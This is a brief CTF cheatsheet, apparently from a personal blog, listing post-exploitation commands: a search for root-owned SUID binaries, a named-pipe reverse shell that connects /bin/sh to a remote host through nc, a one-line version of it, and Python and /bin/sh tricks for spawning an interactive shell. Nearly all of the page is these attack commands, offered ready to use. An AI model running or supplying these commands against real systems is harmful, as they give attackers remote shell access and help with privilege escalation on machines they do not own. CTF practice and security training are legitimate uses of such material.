Ctf Memo
Cheatsheet - CTF Link to heading
Find SUID files Link to heading
find / -user root -perm -4000 -exec ls -ldb {} \;
Reverse shell without “nc -e /bin/sh” Link to heading
mknod /tmp/bp p
/bin/sh 0</tmp/bp | nc addr port 1>/tmp/bp
One-line :
mknod /tmp/bp p ; /bin/sh 0</tmp/bp | nc addr port 1>/tmp/bp
Spawn a TTY Link to heading
Python Link to heading
python -c 'import pty; pty.spawn("/bin/sh")'
Interactive shell Link to heading
/bin/sh -i